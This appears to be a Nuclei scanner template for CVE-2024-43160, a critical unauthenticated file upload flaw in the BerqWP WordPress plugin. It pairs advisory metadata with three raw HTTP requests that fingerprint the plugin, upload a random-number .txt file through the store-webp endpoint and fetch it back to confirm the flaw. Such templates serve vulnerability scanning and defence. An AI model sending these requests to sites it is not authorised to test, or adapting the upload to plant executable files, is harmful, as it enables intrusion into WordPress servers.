id: CVE-2024-43160

info:
  name: BerqWP <= 1.7.6 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Unauthenticated attackers can upload arbitrary files to achieve remote code execution on the WordPress server.
  remediation: |
    Update BerqWP plugin to version 1.7.7 or later.
  reference:
    - https://github.com/KTN1990/CVE-2024-43160
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43160
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/searchpro/berqwp-176-unauthenticated-arbitrary-file-uplaod
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-43160
    cwe-id: CWE-434
    epss-score: 0.83029
    epss-percentile: 0.9927
  metadata:
    verified: true
    max-request: 3
    vendor: BerqWP
    product: BerqWP
    framework: wordpress
    publicwww-query: "/wp-content/plugins/searchpro"
  tags: cve,cve2024,file-upload,shell,intrusive,wp,wp-plugin,wordpress,searchpro,vuln

variables:
  filename: "{{rand_base(12)}}"
  num: "{{rand_int(10000000000, 999999999999999)}}"

flow: |
  http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/searchpro")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/optifer/v1/store-webp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        image="{{base64(num)}}"&url={{filename}}.txt&license_key_hash=d41d8cd98f00b204e9800998ecf8427e

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{num}}")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201d4a55573196f041d4372e59012d6be529d1d082f570753d18b48efe47a48f77022100a979583b42fae10c8318afa12f2bb900553c15166216e4d35eeafa87dd2fce8c:922c64590222798bb761d5b6d8e72950